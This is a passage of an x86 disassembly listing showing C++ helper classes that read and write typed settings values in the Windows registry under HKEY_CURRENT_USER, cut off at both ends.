var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov [ebp+var_2C], ecx
mov eax, [ebp+var_2C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_2C]
add ecx, 0Ch
call sub_4026A0
push eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz loc_407038
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
lea ecx, [ebp+var_C]
push ecx
push 0
mov ecx, [ebp+var_2C]
add ecx, 8
call sub_4026A0
push eax
mov edx, [ebp+var_2C]
mov eax, [edx+4]
push eax
call dword_413010 ; RegQueryValueExA
mov ecx, [ebp+var_8]
push ecx
call sub_4114F4
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
push 0
mov ecx, [ebp+var_2C]
add ecx, 8
call sub_4026A0
push eax
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz short loc_406FF5
mov edx, [ebp+var_4]
push edx
lea ecx, [ebp+var_20]
call sub_408150
mov ecx, [ebp+var_2C]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov ecx, [ebp+var_4]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
push edx
call sub_4114EE
add esp, 4
mov eax, [ebp+var_2C]
mov dword ptr [eax+30h], 1
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
push edx
call dword_413000 ; RegCloseKey
mov eax, [ebp+var_2C]
add eax, 10h
mov ecx, [ebp+arg_0]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
jmp short loc_40705A
; ---------------------------------------------------------------------------
loc_406FF5: ; CODE XREF: sub_406EDD+A1j
mov ecx, [ebp+var_4]
mov [ebp+var_28], ecx
mov edx, [ebp+var_28]
push edx
call sub_4114EE
add esp, 4
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_2C]
add edx, 20h
mov eax, [ebp+arg_0]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+arg_0]
jmp short loc_40705A
; ---------------------------------------------------------------------------
loc_407038: ; CODE XREF: sub_406EDD+31j
mov eax, [ebp+var_2C]
add eax, 20h
mov ecx, [ebp+arg_0]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
loc_40705A: ; CODE XREF: sub_406EDD+116j
; sub_406EDD+159j
mov esp, ebp
pop ebp
retn 4
sub_406EDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407060 proc near ; CODE XREF: HSho:004071A1p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C68
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_4070A2
jmp short loc_4070E8
; ---------------------------------------------------------------------------
loc_4070A2: ; CODE XREF: sub_407060+3Ej
push 10h
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_408170
push eax
push 3
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4026A0
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_4070DB
mov eax, [ebp+var_8]
mov dword ptr [eax+30h], 1
loc_4070DB: ; CODE XREF: sub_407060+6Fj
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413000 ; RegCloseKey
loc_4070E8: ; CODE XREF: sub_407060+40j
mov esp, ebp
pop ebp
retn
sub_407060 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp-14h], ecx
mov eax, [ebp-14h]
cmp dword ptr [eax+30h], 0
jz short loc_40712B
mov ecx, [ebp-14h]
cmp dword ptr [ecx+34h], 0
jnz short loc_40712B
mov edx, [ebp-14h]
add edx, 10h
mov eax, [ebp+8]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+8]
jmp short loc_407153
; ---------------------------------------------------------------------------
loc_40712B: ; CODE XREF: HSho:004070FCj
; HSho:00407105j
lea eax, [ebp-10h]
push eax
mov ecx, [ebp-14h]
call sub_406EDD
mov ecx, [ebp+8]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+8]
loc_407153: ; CODE XREF: HSho:00407129j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 10h
push eax
lea ecx, [ebp+8]
call sub_408180
test eax, eax
jz short loc_407181
mov ecx, [ebp-4]
cmp dword ptr [ecx+34h], 0
jnz short loc_407181
mov eax, [ebp-4]
jmp short loc_4071A9
; ---------------------------------------------------------------------------
loc_407181: ; CODE XREF: HSho:00407171j
; HSho:0040717Aj
mov edx, [ebp-4]
add edx, 10h
mov eax, [ebp+8]
mov [edx], eax
mov ecx, [ebp+0Ch]
mov [edx+4], ecx
mov eax, [ebp+10h]
mov [edx+8], eax
mov ecx, [ebp+14h]
mov [edx+0Ch], ecx
mov ecx, [ebp-4]
call sub_407060
mov eax, [ebp-4]
loc_4071A9: ; CODE XREF: HSho:0040717Fj
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_41233A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 14h
mov [ebp-20h], ecx
mov ecx, [ebp-20h]
call sub_407FC0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-20h]
add ecx, 10h
call sub_408170
mov ecx, [ebp-20h]
add ecx, 18h
call sub_408170
push 0
push 0
lea ecx, [ebp-14h]
call sub_4081A0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-20h]
mov [eax+10h], ecx
mov [eax+14h], edx
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_4081A0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-20h]
mov [eax+18h], ecx
mov [eax+1Ch], edx
push offset dword_419C6C
mov ecx, [ebp-20h]
add ecx, 8
call sub_41150C
mov ecx, [ebp-20h]
mov dword ptr [ecx], 80000001h
mov edx, [ebp-20h]
mov dword ptr [edx+20h], 0
mov eax, [ebp-20h]
mov dword ptr [eax+24h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-20h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412368
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 2Ch
push esi
mov [ebp-28h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-28h]
call sub_407FC0
mov byte ptr [ebp-4], 1
mov ecx, [ebp-28h]
add ecx, 10h
call sub_408170
mov ecx, [ebp-28h]
add ecx, 18h
call sub_408170
push 0
push 0
lea ecx, [ebp-14h]
call sub_4081A0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-28h]
mov [eax+10h], ecx
mov [eax+14h], edx
mov ecx, [ebp-28h]
mov edx, [ebp+0Ch]
mov [ecx+18h], edx
mov eax, [ebp+10h]
mov [ecx+1Ch], eax
mov ecx, [ebp-28h]
mov edx, [ebp+14h]
mov [ecx+24h], edx
mov eax, [ebp-28h]
mov ecx, [ebp+18h]
mov [eax], ecx
mov edx, [ebp-28h]
mov dword ptr [edx+20h], 0
push offset asc_4174F8 ; "\\"
lea ecx, [ebp+8]
call sub_411566
push 5Ch
lea ecx, [ebp+8]
call sub_411536
push eax
lea eax, [ebp-18h]
push eax
lea ecx, [ebp+8]
call sub_411530
mov [ebp-2Ch], eax
mov ecx, [ebp-2Ch]
mov [ebp-30h], ecx
mov byte ptr [ebp-4], 2
mov edx, [ebp-30h]
push edx
mov ecx, [ebp-28h]
add ecx, 0Ch
call sub_411518
mov byte ptr [ebp-4], 1
lea ecx, [ebp-18h]
call sub_411512
push offset asc_4174FC ; "\\"
mov ecx, [ebp-28h]
add ecx, 0Ch
call sub_411560
lea ecx, [ebp+8]
call sub_408070
mov esi, eax
push 5Ch
lea ecx, [ebp+8]
call sub_411536
sub esi, eax
push esi
lea eax, [ebp-1Ch]
push eax
lea ecx, [ebp+8]
call sub_41155A
mov [ebp-34h], eax
mov ecx, [ebp-34h]
mov [ebp-38h], ecx
mov byte ptr [ebp-4], 3
mov edx, [ebp-38h]
push edx
mov ecx, [ebp-28h]
add ecx, 8
call sub_411518
mov byte ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_411512
push offset asc_417500 ; "\\"
mov ecx, [ebp-28h]
add ecx, 8
call sub_411566
push offset asc_417504 ; "\\"
mov ecx, [ebp-28h]
add ecx, 8
call sub_411560
lea eax, [ebp-24h]
push eax
mov ecx, [ebp-28h]
call sub_407400
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov eax, [ebp-28h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 14h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_408020
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407400 proc near ; CODE XREF: HSho:004073C5p
; HSho:00407610p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
mov [ebp+var_24], ecx
mov eax, [ebp+var_24]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_24]
add ecx, 0Ch
call sub_4026A0
push eax
mov ecx, [ebp+var_24]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz loc_407537
mov [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 0
lea ecx, [ebp+var_8]
push ecx
push 0
mov ecx, [ebp+var_24]
add ecx, 8
call sub_4026A0
push eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
push eax
call dword_413010 ; RegQueryValueExA
mov ecx, [ebp+var_4]
push ecx
call sub_4114F4
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_24]
add ecx, 8
call sub_4026A0
push eax
mov eax, [ebp+var_24]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz short loc_407502
mov edx, [ebp+var_C]
mov eax, [edx+4]
push eax
mov ecx, [edx]
push ecx
lea ecx, [ebp+var_18]
call sub_4081D0
mov edx, [eax]
mov eax, [eax+4]
mov ecx, [ebp+var_24]
mov [ecx+10h], edx
mov [ecx+14h], eax
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
push eax
call sub_4114EE
add esp, 4
mov ecx, [ebp+var_24]
mov dword ptr [ecx+20h], 1
mov edx, [ebp+var_24]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
mov ecx, [ebp+var_24]
mov edx, [ecx+10h]
mov eax, [ecx+14h]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov [ecx+4], eax
mov eax, [ebp+arg_0]
jmp short loc_40754B
; ---------------------------------------------------------------------------
loc_407502: ; CODE XREF: sub_407400+A1j
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_4114EE
add esp, 4
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
push edx
call dword_413000 ; RegCloseKey
mov eax, [ebp+var_24]
mov ecx, [eax+18h]
mov edx, [eax+1Ch]
mov eax, [ebp+arg_0]
mov [eax], ecx
mov [eax+4], edx
mov eax, [ebp+arg_0]
jmp short loc_40754B
; ---------------------------------------------------------------------------
loc_407537: ; CODE XREF: sub_407400+31j
mov ecx, [ebp+var_24]
mov edx, [ecx+18h]
mov eax, [ecx+1Ch]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov [ecx+4], eax
mov eax, [ebp+arg_0]
loc_40754B: ; CODE XREF: sub_407400+100j
; sub_407400+135j
mov esp, ebp
pop ebp
retn 4
sub_407400 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407551 proc near ; CODE XREF: HSho:00407677p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C70
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_407593
jmp short loc_4075D4
; ---------------------------------------------------------------------------
loc_407593: ; CODE XREF: sub_407551+3Ej
push 8
mov ecx, [ebp+var_8]
add ecx, 10h
push ecx
push 3
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_4075C7
mov ecx, [ebp+var_8]
mov dword ptr [ecx+20h], 1
loc_4075C7: ; CODE XREF: sub_407551+6Aj
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
loc_4075D4: ; CODE XREF: sub_407551+40j
mov esp, ebp
pop ebp
retn
sub_407551 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp-0Ch]
cmp dword ptr [eax+20h], 0
jz short loc_407609
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+24h], 0
jnz short loc_407609
mov edx, [ebp-0Ch]
mov eax, [edx+10h]
mov ecx, [edx+14h]
mov edx, [ebp+8]
mov [edx], eax
mov [edx+4], ecx
mov eax, [ebp+8]
jmp short loc_407625
; ---------------------------------------------------------------------------
loc_407609: ; CODE XREF: HSho:004075E8j
; HSho:004075F1j
lea eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
call sub_407400
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp+8]
mov [eax], ecx
mov [eax+4], edx
mov eax, [ebp+8]
loc_407625: ; CODE XREF: HSho:00407607j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp-0Ch]
mov ecx, [eax+10h]
mov edx, [eax+14h]
mov [ebp-8], ecx
mov [ebp-4], edx
mov eax, [ebp-4]
push eax
mov ecx, [ebp-8]
push ecx
lea ecx, [ebp+8]
call sub_4081F0
test eax, eax
jz short loc_407665
mov edx, [ebp-0Ch]
cmp dword ptr [edx+24h], 0
jnz short loc_407665
mov eax, [ebp-0Ch]
jmp short loc_40767F
; ---------------------------------------------------------------------------
loc_407665: ; CODE XREF: HSho:00407655j
; HSho:0040765Ej
mov eax, [ebp-0Ch]
mov ecx, [ebp+8]
mov [eax+10h], ecx
mov edx, [ebp+0Ch]
mov [eax+14h], edx
mov ecx, [ebp-0Ch]
call sub_407551
mov eax, [ebp-0Ch]
loc_40767F: ; CODE XREF: HSho:00407663j
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412395
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp-18h], ecx
mov ecx, [ebp-18h]
call sub_408230
mov dword ptr [ebp-4], 0
lea eax, [ebp-10h]
push eax
mov ecx, [ebp-18h]
add ecx, 28h
call dword_41316C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-14h]
push ecx
mov ecx, [ebp-18h]
add ecx, 38h
call dword_41316C
mov byte ptr [ebp-4], 2
push offset dword_419C74
mov ecx, [ebp-18h]
add ecx, 28h
call dword_413194
push offset dword_419C78
mov ecx, [ebp-18h]
add ecx, 38h
call dword_413194
push offset dword_419C7C
mov ecx, [ebp-18h]
add ecx, 8
call dword_413194
mov edx, [ebp-18h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-18h]
mov dword ptr [eax+48h], 0
mov ecx, [ebp-18h]
mov dword ptr [ecx+4Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-18h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4123EA
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50h
mov [ebp-4Ch], ecx
mov dword ptr [ebp-4], 1
mov ecx, [ebp-4Ch]
call sub_408230
mov byte ptr [ebp-4], 2
lea eax, [ebp-14h]
push eax
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_41316C
mov byte ptr [ebp-4], 3
lea ecx, [ebp-18h]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_41316C
mov byte ptr [ebp-4], 4
push offset dword_419C80
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_413194
lea edx, [ebp+18h]
push edx
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_41317C
mov eax, [ebp-4Ch]
mov ecx, [ebp+28h]
mov [eax+4Ch], ecx
mov edx, [ebp-4Ch]
mov eax, [ebp+2Ch]
mov [edx], eax
mov ecx, [ebp-4Ch]
mov dword ptr [ecx+48h], 0
mov edx, dword_413178
mov eax, [edx]
push eax
push 5Ch
lea ecx, [ebp+8]
call dword_413174
mov [ebp-10h], eax
mov ecx, [ebp-10h]
push ecx
push 0
lea edx, [ebp-28h]
push edx
lea ecx, [ebp+8]
call dword_413170
mov [ebp-50h], eax
mov eax, [ebp-50h]
mov [ebp-54h], eax
mov byte ptr [ebp-4], 5
mov ecx, [ebp-54h]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 18h
call dword_41317C
mov byte ptr [ebp-4], 4
lea ecx, [ebp-28h]
call dword_413168
mov edx, dword_413178
mov eax, [edx]
push eax
mov ecx, [ebp-10h]
add ecx, 1
push ecx
lea edx, [ebp-38h]
push edx
lea ecx, [ebp+8]
call dword_413170
mov [ebp-58h], eax
mov eax, [ebp-58h]
mov [ebp-5Ch], eax
mov byte ptr [ebp-4], 6
mov ecx, [ebp-5Ch]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 8
call dword_41317C
mov byte ptr [ebp-4], 4
lea ecx, [ebp-38h]
call dword_413168
lea edx, [ebp-48h]
push edx
mov ecx, [ebp-4Ch]
call sub_407913
lea ecx, [ebp-48h]
call dword_413168
mov byte ptr [ebp-4], 0
lea ecx, [ebp+8]
call dword_413168
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+18h]
call dword_413168
mov eax, [ebp-4Ch]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 28h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_41240A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov dword ptr [ebp-4], 1
mov ecx, [ebp-10h]
add ecx, 38h
call dword_413168
mov byte ptr [ebp-4], 0
mov ecx, [ebp-10h]
add ecx, 28h
call dword_413168
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
call sub_408290
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407913 proc near ; CODE XREF: HSho:00407879p
; HSho:00407B56p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov [ebp+var_1C], 0
mov eax, [ebp+var_20]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_20]
add ecx, 18h
call dword_413188
push eax
mov ecx, [ebp+var_20]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz loc_407A52
mov [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 0
lea ecx, [ebp+var_C]
push ecx
push 0
mov ecx, [ebp+var_20]
add ecx, 8
call dword_413188
push eax
mov edx, [ebp+var_20]
mov eax, [edx+4]
push eax
call dword_413010 ; RegQueryValueExA
mov ecx, [ebp+var_4]
push ecx
call sub_4114F4
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_8], edx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_C]
push edx
push 0
mov ecx, [ebp+var_20]
add ecx, 8
call dword_413188
push eax
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz short loc_407A16
mov edx, [ebp+var_8]
push edx
mov ecx, [ebp+var_20]
add ecx, 28h
call dword_413184
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
push ecx
call sub_4114EE
add esp, 4
mov edx, [ebp+var_20]
mov dword ptr [edx+48h], 1
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_20]
add edx, 28h
push edx
mov ecx, [ebp+arg_0]
call dword_413180
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
mov eax, [ebp+arg_0]
jmp short loc_407A6E
; ---------------------------------------------------------------------------
loc_407A16: ; CODE XREF: sub_407913+ABj
mov ecx, [ebp+var_8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
push edx
call sub_4114EE
add esp, 4
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_20]
add edx, 38h
push edx
mov ecx, [ebp+arg_0]
call dword_413180
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
mov eax, [ebp+arg_0]
jmp short loc_407A6E
; ---------------------------------------------------------------------------
loc_407A52: ; CODE XREF: sub_407913+39j
mov ecx, [ebp+var_20]
add ecx, 38h
push ecx
mov ecx, [ebp+arg_0]
call dword_413180
mov edx, [ebp+var_1C]
or edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
loc_407A6E: ; CODE XREF: sub_407913+101j
; sub_407913+13Dj
mov esp, ebp
pop ebp
retn 4
sub_407913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A74 proc near ; CODE XREF: HSho:00407C6Ep
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C84
push 0
mov ecx, [ebp+var_8]
add ecx, 18h
call dword_413188
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_407AB7
jmp short loc_407B0D
; ---------------------------------------------------------------------------
loc_407AB7: ; CODE XREF: sub_407A74+3Fj
mov ecx, [ebp+var_8]
add ecx, 28h
call dword_41318C
add eax, 1
push eax
mov ecx, [ebp+var_8]
add ecx, 28h
call dword_413188
push eax
push 1
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call dword_413188
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_407B00
mov eax, [ebp+var_8]
mov dword ptr [eax+48h], 1
loc_407B00: ; CODE XREF: sub_407A74+80j
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413000 ; RegCloseKey
loc_407B0D: ; CODE XREF: sub_407A74+41j
mov esp, ebp
pop ebp
retn
sub_407A74 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_41241E
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
mov [ebp-24h], ecx
mov eax, [ebp-24h]
cmp dword ptr [eax+48h], 0
jz short loc_407B4F
mov ecx, [ebp-24h]
cmp dword ptr [ecx+4Ch], 0
jnz short loc_407B4F
mov ecx, [ebp-24h]
add ecx, 28h
call dword_413188
jmp short loc_407B8A
; ---------------------------------------------------------------------------
loc_407B4F: ; CODE XREF: HSho:00407B36j
; HSho:00407B3Fj
lea edx, [ebp-20h]
push edx
mov ecx, [ebp-24h]
call sub_407913
mov [ebp-28h], eax
mov eax, [ebp-28h]
mov [ebp-2Ch], eax
mov dword ptr [ebp-4], 0
mov ecx, [ebp-2Ch]
call dword_413188
mov [ebp-10h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-20h]
call dword_413168
mov eax, [ebp-10h]
loc_407B8A: ; CODE XREF: HSho:00407B4Dj
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
mov dword ptr [ebp-4], 0
mov eax, [ebp-8]
cmp dword ptr [eax+48h], 0
jz short loc_407BD7
mov ecx, [ebp-8]
cmp dword ptr [ecx+4Ch], 0
jnz short loc_407BD7
mov edx, [ebp-8]
add edx, 28h
push edx
mov ecx, [ebp+8]
call dword_413180
mov eax, [ebp-4]
or al, 1
mov [ebp-4], eax
mov eax, [ebp+8]
jmp short loc_407BEF
; ---------------------------------------------------------------------------
loc_407BD7: ; CODE XREF: HSho:00407BAFj
; HSho:00407BB8j
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-8]
call sub_407913
mov edx, [ebp-4]
or edx, 1
mov [ebp-4], edx
mov eax, [ebp+8]
loc_407BEF: ; CODE XREF: HSho:00407BD5j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412432
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp-18h], ecx
mov dword ptr [ebp-4], 0
mov eax, [ebp-18h]
add eax, 28h
push eax
lea ecx, [ebp+8]
push ecx
call dword_413190
add esp, 8
and eax, 0FFh
test eax, eax
jz short loc_407C5B
mov edx, [ebp-18h]
cmp dword ptr [edx+4Ch], 0
jnz short loc_407C5B
mov eax, [ebp-18h]
mov [ebp-10h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_413168
mov eax, [ebp-10h]
jmp short loc_407C8C
; ---------------------------------------------------------------------------
loc_407C5B: ; CODE XREF: HSho:00407C35j
; HSho:00407C3Ej
lea ecx, [ebp+8]
push ecx
mov ecx, [ebp-18h]
add ecx, 28h
call dword_41317C
mov ecx, [ebp-18h]
call sub_407A74
mov edx, [ebp-18h]
mov [ebp-14h], edx
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_413168
mov eax, [ebp-14h]
loc_407C8C: ; CODE XREF: HSho:00407C59j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412445
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_408230
mov dword ptr [ebp-4], 0
mov eax, [ebp-10h]
mov dword ptr [eax+28h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+2Ch], 0
push offset dword_419C88
